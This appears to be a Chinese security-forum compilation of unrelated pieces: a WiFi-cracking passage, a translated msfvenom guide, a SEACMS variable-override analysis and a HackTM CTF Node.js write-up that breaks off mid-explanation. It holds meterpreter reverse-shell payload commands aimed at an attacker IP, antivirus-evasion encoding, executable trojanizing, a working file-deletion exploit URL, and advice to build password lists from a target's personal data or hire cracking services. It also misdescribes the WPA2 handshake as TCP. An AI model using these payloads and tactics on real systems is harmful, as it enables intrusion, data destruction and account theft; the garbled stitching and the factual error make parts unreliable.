在这里显示了禁用设备的MAC地址，无线路由器禁用该设备的主要依据，就是禁止使用这个MAC地址的设备接入无线路由器的网络，这可以算作是一种安全保护机制，可防止具有无线密码的非授权设备接入网络。在后面的连载文章中，我们讲到如何入侵WiFi时会具体介绍如何突破这样的安全保护机制，但对普通用户来说，这样的设置足以防止非授权设备的接入。
在“应用管理”标签页面中，无线路由器给大家提供了多种扩展功能，如下图所示：
[ 无线桥接：简单理解为路由器套接路由器，将同一个网络的无线信号覆盖范围扩大。
信号调节：调整无线路由器天线的发射功率，调整无线信号覆盖范围。 管理员身份限定：管理哪些终端可以登录设置路由器（像笔者现在这样）
虚拟服务器：作为端口映射功能，是一个重要的组建，设置界面如下：
[
这就相当于将指定IP地址终端的任意端口映射到无线路由器的WAN口上，所有连接此端口进入无线路由器的数据将转发给指定IP地址的终端。这在搭建WEB服务器、数据库等功能使用时比较常见（跨网段使用远程管理软件时也是必备）。
DDNS：简单解释为可以设置一个域名绑定在此无线路由器的公网IP地址上，将域名解析到本地无线路由器上。 访客网络：进行访客网络的相关设置。
IP与MAC绑定：重要的功能之一，将终端的MAC地址和与路由器连接的IP地址进行绑定，是一种控制接入网络终端授权的方式。 AP隔离：控制接入点是否隔离。
DMZ主机：将接入网络的终端绕过路由器直接暴露在WAN口连接的网络上，与公网的通信不再需要通过路由器的路由转发功能。
无线设备接入控制：管理接入终端的功能之一，可指定某些设备禁止接入无线路由器网络之中。
前文介绍了无线路由器给用户提供的各项扩展功能，下面简单介绍一下无线路由器自身的各项设置，首先第一项是上网设置，界面如下图所示：
[ 无线路由器提供了三种联网方式的选择
，有宽带拨号上网，固定IP地址和自动获得IP地址。这里的上网设置实际是对无线路由器的WAN口进行设置，宽带拨号上网是代替了传统的在计算机中手动点击宽带连接上网的功能，只需输入设置运行商提供的宽带账号密码即可使用无线路由器自动拨号持续联网。固定IP和自动获得IP是设置接入有限LAN口和无线连接的终端所在的网段地址，可以手动固定也可以由路由器自动选择。子网掩码、网关、DNS服务器均可设置。
[
数据包MTU即传输数据包的最大包容量，不同的网络连接方式协议具有不同的最佳值，这里可以让无线路由器根据环境自动选择默认的即可。WAN口的MAC地址通常默认使用路由器的MAC地址，如果上层网络有特殊要求，可以手动使用自定义的MAC地址连接。
DHCP服务器是一项重要的功能，简单可以理解为在路由器中设置一个IP地址的范围，成为IP地址池，接入无线网络的终端设备将通过DHCP服务器进行IP地址分配，否则没有合法的IP地址，终端将不能接入无线网络进行上网功能。DHCP服务器设置界面如下：
[
地址池的开始地址和结束地址可以自定义，这个范围内的IP地址时动态分配的，其余的IP地址可以根据需要进行与终端的绑定操作。地址池是一个重要的概念，在后续讲到的各类通过无线路由器的攻击中，“地址池耗尽“也是一种常见的攻击方式。
无线设置的界面笔者不打算使用这款路由器的界面，大家可以参考下图所示的界面：
[
这里的SSID号就是无线网络的名称，用户可以自定义的设置一些个性化名字；频段可以设置无线信号传输时使用的信道；模式是指定无线传输的速率和802.11标准版本号。可以手动选择是否开启无线功能（关闭时就是个普通路由器）和是否允许SSID广播。SSID广播即将无线网络名称传播出去，用户在使用手机打开WiFi功能时即可看到这样的网络，在这里特别说明，关闭SSID广播并不是关闭了无线网络，可以通过手动添加的方式接入无线网络，只是无线网络的名字隐藏了。这也是一个比较重要的安全防护机制，后面连载的文章中我们也会介绍如何突破这种SSID隐藏并接入无线网络的方法。
安全类型中，WEP和WPA-PSK/WPA2-PSK是设置的无线密码加密方式，常见的为WEP和WPA/WPA2方式，用户可以自定义无线网络的密码，在这里提醒大家如果安全需求较高，这里的密码一定要选择WPA2加密并且设置复杂度、长度均很高的无线密码。
WEP加密：全称有线等效加密，于上世纪90年代成为WiFi安全标准，是一种老旧的加密方式，并且由于加密算法的漏洞百出，已经被WiFi设备遗弃。但由于也是WiFi曾经使用过的加密，本文并不打算抛弃讲解这种算法的相关知识。WEP有两种认证方式，分别为开放式系统认证和共有键认证。WEP使用
RC4(Rivest Cipher) 串流加密技术达到机密性，并使用 CRC-32
验和达到正确性。标准的64比特WEP使用40比特的钥匙接上24比特的初向量(initialization vector，IV) 成为 RC4
用的钥匙。这里IV的概念比较重要，需要读者重点记忆。钥匙长度不是 WEP
安全性的主要因素，破解较长的钥匙需要拦截较多的封包，但是有某些主动式的攻击可以激发所需的流量。WEP 还有其他的弱点，包括 IV
雷同的可能性和变造的封包，这些用长一点的钥匙根本没有用。
WPA加密：全称WiFi访问保护。WPA的出现是取代WEP加密标准，于2003年正式启用。WPA设置最普遍的是WPA-PSK（预共享密钥），使用256位密钥。WPA先期采用了临时密钥完整性协议（TKIP），后期被高级加密标准（AES）所取代。
WPA2加密：WPA 标准于2006年正式被 WPA2取代。 WPA 和 WPA2 之间最显着的变化之一是强制使用 AES 算法和引入 CCMP
（计数器模式密码块链消息完整码协议）替代 TKIP 。
下面的表格总结了目前的路由器加密配置，安全性由上到下依次降低：
WPA2+AESWPA+AESWPA+TKIP/AES（TKIP作为备用）WPA+TKIPWEP不加密的开放网络
使用最新的WPA2加密进行无线网络连接的过程是一种网络的TCP握手过程，这个过程发生在用户使用终端选择WiFi网络输入密码到连接成功这一过程中。握手过程是一个重要的概念，这在我们后续讲解WPA2加密破解的过程中是非常重要的。这里做一个简单的介绍：[
TCP的三次握手过程，简单可以解释为客户端发送一个SYN包给服务器（无线路由器）作为连接请求，无线路由器收到请求后发送一个返回数据包SYN+ACK，客户端接收到之后将此数据包进行认证加密后返回无线路由器，认证通过即可完成连接。在破解WPA2加密的无线网络时，所谓抓握手包，就是抓取在这个过程中的信息原文和加密后的密文。简单理解为这样的数据包中包含了加密密码，破解WPA2密码就是破解这样的握手包。
0x03 测试环境的选择
选择WiFi安全测试环境，也就是选择合适的无线网卡和合适的操作系统、选择制作合适完善的密码字典。
无线网卡的选择依据：驱动程序是选择无线网卡的主要依据。在破解WiFi的过程中，需要操作系统、网络设备无缝合作，操作系统对于无线网
卡的支持程度和兼容性就显得特别重要。在这里，推荐使用Atheros芯片的无线网卡，通常情况下，该芯片的性能和兼容性都很适合做WiFi攻击。同样雷凌芯片的网卡也有很多合适的产品，大家可以根据自己的实际情况进行选择。笔者这里选择TP-LINK的TL-WN722N网卡进行实验演示。[
如果需要进行远距离的WiFi攻击，攻击者需要选择使用定向天线的大功率无线网卡。不仅需要考虑其芯片类型，更需要考虑大功率无线网卡的系统兼容性、抓包成功率、目标无线路由器的天线功率甚至发起攻击的位置等问题，这是一个综合考虑的选择过程。
操作系统的选择也是依据对无线网卡支持程度进行的。常见的操作系统有windows和Linux。在windows操作系统下，由于无线网卡驱动开发未能够做到如Linux般开源，从而使得一些无线探测、攻击类的工具无法正确识别大部分无线网卡，也就无法在windows下正常使用。Kali
Linux是一款专门为渗透测试和安全审计人员制作的Linux操作系统，集成了大量的渗透测试工具。综合比较之下，选择Kali
Linux操作系统作为破解WiFi是非常适合的：[
字典也就是破解WPA2加密时需要使用的一类信息资源。字典可以简单解释为密码本或密码的集合文件。WPA2的密码破解是一种暴力破解的过程，使用不同的密码对抓取到的握手包不断进行破解尝试，直到破解出密码为止。举一个简单的例子，3位数字的密码字典，就是000
----999这一千种组合数字的集合。字典的内容包含多样，有弱口令集合、英文单词集合、手机号码集合、姓名缩写集合等等五花八门。越完善的字典破解成功率越高，但是破解的时间成本也越高。任何攻击者手中无法掌握存在所有密码的超级字典，因为也不存在这样的字典。
对于WPA2密码的破解使用字典，是一个猜测的过程。提高破解成功率就是使用更合适的密码字典。目前给大家使用字典的建议为以下几点：
一：收集目标路由器管理员的信息，使用多种元素（例如手机号码、姓名缩写、门牌号码、英语名字、生日等）组合，自行制作密码破解的字典。这里制作字典的工具，不管是什么系统什么操作界面，网络上都有很多，这里不再赘述，请读者自行上网搜索下载。当然Kali
Linux也给我们提供了例如crunch这样的字典制作工具，大家多尝试，根据自己的使用需求可灵活选择。
二：下载密码字典。网络上提供了大量不同元素组合的字典，有的针对国内用户习惯有的针对国外用户习惯。大家可深入搜索寻找一些，慢慢积累成为自己的字典数据库，在需要使用时可以灵活使用。
三：寻找外包破解团队。在搜索引擎中搜索”破解无线握手包“、”破解WiFi密码“等关键词，可以寻找到很多提供相关服务的商家。这个过程省去了用户自己进行大量高成本破解和字典制作的过程，是一种比较省时省力的方式。一般这样的外包商家团队具有较好的硬件资源和字典资源，破解成功率相对个人用户更高一些。
网思科平-Sumia
Onescorpion | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>
* 作者：[Metasploit Community](https://github.com/rapid7/metasploit-framework)
* 译者：[王一航](https://github.com/wangyihang) 2018-06-10
* 校对：[王一航](https://github.com/wangyihang) 2018-06-10
* * *
Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令，它是这两个命令的结合体。
为了开始使用 msfvenom，可以首先浏览一下它所支持的命令参数：
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload，如果被设置为 - ，那么从标准输入流中读取
--payload-options List the payload's standard options # 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目，其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量（译者注：类似堆喷射中通过 nop 滑动到 payload）
-f, --format <format> Output format (use --help-formats for a list) # 指定 Payload 的输出格式
--help-formats List available formats # 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use # 指定使用的 Encoder
-a, --arch <arch> The architecture to use # 指定目标系统架构
--platform <platform> The platform of the payload # 指定目标系统平台
--help-platforms List available platforms # 列出可用的平台
-s, --space <length> The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' # 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload # 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能，注入的payload作为一个新的进程运行
-o, --out <path> Save the payload # 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats # 指定一个变量名
（译者注：当添加 -f 参数的时候，例如 -f python，那么输出为 python 代码， payload 会被按行格式化为 python 代码，追加到一个 python 变量中，这个参数即为指定 python 变量的变量名）
--smallest Generate the smallest possible payload # 尽可能生成最短的 Payload
-h, --help Show this message # 帮助
## 如何生成 Payload
为了生成 Payload，你需要配置两个必要的参数（-p 与 -f）：
* **-p 参数指定特定的 Payload**
可以通过如下命令列出所有可以使用的 Payload
./msfvenom -l payloads
* **-p 参数也支持使用 - 作为值来从标准输入中读取自定义的 Payload**
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
* **-f 参数指定 Payload 的输出格式**
例如：
./msfvenom -p windows/meterpreter/bind_tcp -f exe
可以通过如下命令来查看所有支持的格式
./msfvenom --help-formats
下面是一个典型的 msfvenom 的使用案例：
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe
## 如何对 Payload 进行编码
默认情况下，当你使用 -b 选项（badchar 选项）时，编码功能将自动启动。 在其他情况下，您必须使用-e选项来开启 Payload
编码功能，如下所示：
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
如下所示，使用 -l 参数可以列出所有可用的编码器（译者注：encoder）
./msfvenom -l encoders
你也可以通过添加 -i 参数来将一个 Payload 编码多次，有时候多次编码可以绕过防病毒软件的检测（译者注：俗称免杀）。
但是要知道的是：编码并不能真正作为免杀的解决方案
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
## 避免使用某些字符（译者注：例如某些情况下 Payload 中是不可以出现 \x00 字符的）
-b 参数被设置的时候，它的值中描述的字符将会被避免出现在 Payload 中
当这个参数被添加的时候，msfvenom 将会自动寻找合适的编码器来编码 Payload
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
## 如何提供一个自定义的模板
默认情况下，msfvenom 使用保存在目录 msf/data/templates 下的模板文件。如果你想要选择自己的模板，你可以使用 -x 参数来指定
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
请注意：如果你想使用一个自定义的基于 64 位操作系统的模板，那么请将 -f 参数中的 exe 修改为 exe-only
./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
-x 参数经常与 -k 参数成对出现，这样你就可以将模板中的 Payload 作为新线程运行。
但是，目前这仅适用于较老的Windows机器，如 x86 Windows XP。
## 如何将 msfvenom 的输出串联起来（利用操作系统管道的重定向特性）
以前旧的 `msfpayload` 与 `msfencode` 经常串联使用，并按照多种编码顺序排列。`msfvenom` 也可以被这样使用：
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
* * *
## 参考文章（译者注）
* <http://www.cnblogs.com/Hi-blog/p/6780353.html>
* <https://www.jianshu.com/p/c0ae42a1a885> | 社区文章 |
最近看到 `seacms`
一连更新了好几个安全问题，出于好奇看了看，问题都是出在通用文件的变量覆盖上，这里拿出来简单分析下为什么修了好几个版本，并稍微的延申思考一下。
# SEACMS 版本对比分析
**首先我们看最早的版本：**
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
...
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
很简单，`GLOBALS` 也很容易覆盖，因为上面没有过滤 `_POST`，所以我们可以传入一个 `GET`
成这样的值：`?_POST[GLOBALS]=1`
这样第一次循环 `GET` 的时候 `_POST` 就会变成 `Array(GLOBALS=>1)`，然后第二次循环 `POST` 时就会将
`GLOBALS` 覆盖。
## 第一次修复
接下来看看更新之后的 9.91:
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
这里的检查代码新增了一个 `_`，意思是带有 `_` 的都不允许注册，但不知道是不是官方觉得这么做稍有不妥，在之后的9.93 版本变成了：
foreach($_REQUEST as $_k=>$_v)
{
if(
strlen($_k)>0 &&
m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k) &&
!isset($_COOKIE[$_k])
)
{
exit('Request var not allow!');
}
}
这样自然是没什么问题，但是可以看到这个 `if` 是有三个条件的，第三个条件的值还是从 `_COOKIE` 中直接获取的，这里的意思就仿佛在说：`如果
_COOKIE 存在这个 key，就不过滤`。我们可以在本地试试：
测试代码：
<?php
$GLOBALS['test']='';
var_dump("test:".$GLOBALS['test']);
function chgreg($reg)
{
$nreg=str_replace("/","\\/",$reg);
return "/".$nreg."/";
}
function m_eregi($reg,$p)
{
$nreg=chgreg($reg)."i";
return preg_match(chgreg($reg),$p);
}
var_dump("COOKIE 是否存在 _POST 键".isset($_COOKIE['_POST']));
foreach($_REQUEST as $_k=>$_v)
{
if(
strlen($_k)>0 &&
m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k) &&
!isset($_COOKIE[$_k])
)
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = ($_v);
}
var_dump("test:".$GLOBALS['test']);
看图：
## 第二次修复
`9.93` 和 `9.94` 基本一样，修复后是 `9.95`，直接看看 `9.95`，`9.95` 的检测:
//此处使用 $_REQUEST 检测
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
{
Header("Location:$jpurl");
exit('err');
}
}
这次把第三个条件删掉了，记住这里用的是 `$_REQUEST` 检测的
再来覆盖变量的代码是这样的：
foreach(Array('_GET','_POST','_COOKIE','_SERVER') as $_request){ // 新增了一个 _SERVER ，但不影响
// 覆盖操作。。。。
}
这里是有 `_COOKIE` 的，可是，仔细看看 `php.ini` ，看看关于 `$_REQUEST` 变量的属性 `request_order`：
没错，这里的 GP 指的是 `GET` 和 `_POST` ，少了 `_COOKIE`。
因为我印象中 `_REQUEST` 是包含了 `_COOKIE` 的。
看官方文档（<https://www.php.net/manual/zh/reserved.variables.request.php）：>
但是在下面一些：
其实从 `5.3` 以后就移除了。
## 第三次修复
经过了上面两次，开发终于被逼疯了：
把所有常见的变量都过滤了个遍。至此 `seacms` 暂时没有新的安全更新了（期待大佬后续
# 利用方法
## FILES 变量
当然，讨论覆盖不止这一个 `CMS` 的问题，还可以延申讨论一下，比如当他没有过滤 `_FILES` 时，我们是否可以利用。
如果程序文件上传都做得很安全，但是变量覆盖时唯独没检测 `_FILES` 时我们可以做些什么呢？
这里举个例子，在最近审计某 `CMS` 时发现全局文件：
foreach(array('_GET','_POST') as $_request)
{
foreach($$_request as $_k => $_v){
if(strlen($_k)>0 && preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k))
{
exit('不允许请求的变量名!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
过滤的倒是很全，但是这里唯独没有过滤 `_FILES`，在头像的上传处的代码：
// 获取文件后缀
$imgext = strrchr('.',($_FILES['file']['name']));
$imgtype = ['jpg','png'];
//判断文件后缀是不是图片
if(!in_array($imgext, $imgtype)) {
//删除临时文件
unlink($_FILES['file']['tmp_name']);
exit("文件后缀不允许~");
}
这里检测如果文件后缀不是图片的话就删掉 `tmp_name`。通过覆盖变量，我们是可以制造一个 `_FILES` 变量的。
简单的拼接一下上面的代码，访问：
`?_FILES[file][tmp_name]=test.txt&_FILES[file][name]=1.php`
`test.txt` 就是要删除的文件，访问后会发现删除成功了。
接下来就可以考虑删除安装文件，然后重新安装 `getshell`。
## GLOBALS 全局变量
当然，一般来说不允许的，但是如果能覆盖 `GLOBALS` 呢。这时候我们得看看 `GLOBALS` 内是否有敏感信息给我们覆盖。
我们可以想到 `MYSQL` 的信息，如果 `GLOBALS` 里存在
数据库信息，我们就可以让服务器连接到我们的数据库，只要从数据库里提出得信息我们都可以控制，在某些操作下是可以 `getshell`。之前版本中
`seacms` 中存在这样的操作。
# 总结
最后我们可以讨论一下防御的方法，可以从不同的 `CMS` 学习一下
1. 首先是比较正常的，就是尽量过滤的全一些。
2. 第二的话有些 `CMS` 比较变态，他可能直接把整个 `GLOBALS` 直接变成空，覆盖了也没什么用处。
3. 然后就是第三种检测的方式：
if(isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) exit('Request Denied');
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(substr($__k, 0, 1) == '_') if($__R == '_POST') { unset($_POST[$__k]); } else { unset($_GET[$__k]); }
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
检测如果变量中有 `下划线` 就直接 `unset` 掉，然后在下面的 `extract` 中也使用了 `SKIP` 直接跳过已存在变量。
这里再另外推荐两个实例：
[Discuz! 6.x/7.x 全局变量防御绕过导致命令执行](https://www.anquanke.com/post/id/82316)
[2015通达oa-从前台注入到后台getshell](https://www.cnblogs.com/iamstudy/articles/tongdaoa_2015_sql_getshell.html) | 社区文章 |
## 说在前面
请教Hpdoger师傅Node.js的问题时，他给了我一道HackTM CTF
2020的Node.js题。花了几个小时看也没有很好的解决。最后还是他给了思路才把想整个过程理清楚。由于才刚刚学习node.js，文章中如果出现问题还希望师傅们指出来，十分感谢。
## 解题思路
题目界面：
题目部分源码：
const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);
const io = require("socket.io")(server);
const bigInt = require("big-integer");
const { flag, p, n, _clearPIN, jwtSecret } = require("./flag");
const config = {
port: process.env.PORT || 8081,
width: 120,
height: 80,
usersOnline: 0,
message: "Hello there!",
p: p,
n: n,
adminUsername: "hacktm",
whitelist: ["/", "/login", "/init"],
backgroundColor: 0x888888,
version: Number.MIN_VALUE
};
io.sockets.on("connection", function(socket) {
config.usersOnline++;
socket.on("disconnect", function() {
config.usersOnline--;
});
});
let users = {
0: {
username: config.adminUsername,
rights: Object.keys(config)
}
};
let board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
let boardString = boardToStrings();
app.use(express.json());
app.use(cors());
app.use(
jwt({ secret: jwtSecret }).unless({
path: config.whitelist
})
);
app.use(function(error, req, res, next) {
if (error.name === "UnauthorizedError") {
res.json(err("Invalid token or not logged in."));
}
});
function sign(o) {
return jsonwebtoken.sign(o, jwtSecret);
}
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
function ok(data = {}) {
return { status: "ok", data: data };
}
function err(msg = "Something went wrong.") {
return { status: "error", message: msg };
}
function onlyUnique(value, index, self) {
return self.indexOf(value) === index;
}
app.get("/", (req, res) => {
// Get current board
res.json(ok({ board: boardString }));
});
app.post("/init", (req, res) => {
// Initialize new round and sign admin token
// RSA protected!
// POST
// {
// p:"0",
// q:"0"
// }
let { p = "0", q = "0", clearPIN } = req.body;
let target = md5(config.n.toString());
let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);
if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();
io.emit("board", { board: boardString });
}
//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
});
app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});
app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
app.post("/paint", (req, res) => {
// Paint on the canvas
// Only for logged in users
// POST
// {
// x:0,
// y:0
// }
let user = users[req.user.id] || {};
x = req.body.x;
y = req.body.y;
let color = user.color || 0x0;
if (board[y] && board[y][x] >= 0) {
board[y][x] = color;
boardString = boardToStrings();
io.emit("change", { change: { pos: [x, y], color: color } });
res.send(ok());
} else {
res.send(err("Invalid painting"));
}
});
app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
res.json(ok({ user: users[uid] }));
});
app.post("/login", (req, res) => {
// Login
// POST
// {
// username: "dumbo",
// }
let u = {
username: req.body.username,
id: uuidv4(),
color: Math.random() < 0.5 ? 0xffffff : 0x0,
rights: [
"message",
"height",
"width",
"version",
"usersOnline",
"adminUsername",
"backgroundColor"
]
};
if (isValidUser(u)) {
users[u.id] = u;
res.send(ok({ token: sign({ id: u.id }) }));
} else {
res.json(err("Invalid creds"));
}
});
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
function boardToStrings() {
return board.map(b => b.join(","));
}
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
server.listen(config.port, () =>
console.log(`Server listening on port ${config.port}!`)
);
整个题目就是一个在线画图的程序，当输入用户名登录之后就可以对网页上的颜色格子进行操作。(这不是重点)服务端使用了`express`框架，并使用`express-jwt`来进行用户验证。
比较重要的页面分别是：
1. `/init` 获取POST数据中的p和q参数，最终生成一个adminId，返回一个id=adminId的用户token
2. `/serverInfo` 根据用户的权限返回config内的信息
3. `/updateUser` 更新用户信息，设置用户权限
4. `/login` 登录账户
5. `/flag` 获取Flag
逆推整个过程的话，大概是这样的思路：
### 怎么获取Flag？
访问Flag页面需要对adminId进行判断，adminId需要为0才能获取得到Flag。而adminId是可以通过/init传递p和q参数进行设置的。怎么将adminId设置为0呢？
### 怎么将adminId设置为0？
来具体看一下`/init`页面，它会获取POST数据中的p和q参数，并最终生成一个adminId：
app.post("/init", (req, res) => {
let { p = "0", q = "0", clearPIN } = req.body; // 从POST数据当中获取得到p和q
let target = md5(config.n.toString()); // target是config中n的md5加密
let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
); // 将p与p相乘
if (pwHash == target && clearPIN === _clearPIN) {
// 清理面板
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();
io.emit("board", { board: boardString });
}
//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b); // 取合值
console.log(adminId);
res.json(ok({ token: sign({ id: adminId }) }));
});
* node.js中map可以参考：[Array.prototype.map()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
* reduce可以参考：[Array.prototype.reduce()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
一些语句已经作了注释，最重要的在后面的`map((c, i) => c.charCodeAt(0) ^
target.charCodeAt(i))`，这个语句的作用就是将pwHash中的每一位与target中的相同位置的字符进行异或。最后reduce将异或后的值进行取和。
pwnHash的来源是`md5(p*q)`，target的来源是`md5(n)`，如果想要它们异或后再取和的值为0的话，我们该怎么做呢？
我们首先得知道n的值是多少。在知道n的情况下，将p设置为n的值，q设置为1。(qp互换也可以)这样pwnHash和target的值就会相同。相同的值进行异或就会为0，取和之后也为0。这样就可以使adminId为0了。页面最终还会返回id为0的token，利用token就可以获取flag了。
那现在的问题就是怎么得到n的值。
### 怎么获取n的值？
在源码中可以知道，`/serverInfo`会根据用户的权限(right)返回config内的信息。默认获取得到的值中是没有n的，所以我们需要通过`/updateUser`页面来设置当前用户查看config信息的权限。
先来看下`/updateUser`页面的源码：
app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) { //检查rights
users[uid].rights = user.rights.concat(rights).filter(onlyUnique); //去重操作
}
res.json(ok({ user: users[uid] }));
});
数据包格式为：
{
color: 0xDEDBEE,
rights: ["height", "width", "usersOnline"]
}
rights部分就是要添加查看的权限。
先不看前面是否为管理员的判断，直接看后面添加权限时的判断。这里调用了`checkRights()`来进行权限检查。
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
函数中设置了一个黑名单，不允许`p、n、port`被添加进用户的查看权限中。验证方式是用for循环获取每一个权限，查看其是否在blacklist中。如果存在就返回false，不存在就返回true。所以传递rights的不能直接传递"n"。
先来看`/serverInfo`页面是怎么获取config的值的，
app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
这里获取config的值就是通过config[i]获取的(i是键名)。那如何不直接传递"n"而得到n的值呢？
这里要了解javascript中数组取值的方式。定义一个array1数组如图，注意赋值时的参数值：
可以看到，我这里传递给array1的键值是一个多维数组，但是同样可以获取得到数组中键名为"port"的值。(这种取值的方式在python、php中不行)
由于这样的取值方式是可行的，所以我们只需要给right赋值一个`["n"]`就可以绕过前面的黑名单了。
好，现在可以取到n了，再来看看怎么登陆管理员用户名。
### 怎么使用管理员用户名登陆？
登陆页面`/login`中有一个函数用于判断用户名是否为合理的用户名：
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
// 长度大于3并且不能为adminUsername
);
}
在`/updateUser`页面中有一个函数用于判断用户是否为管理员：
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
在登录时，`isValidUser`函数会对用户输入的用户名进行`toUpperCase`处理，再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同，就不允许登录。
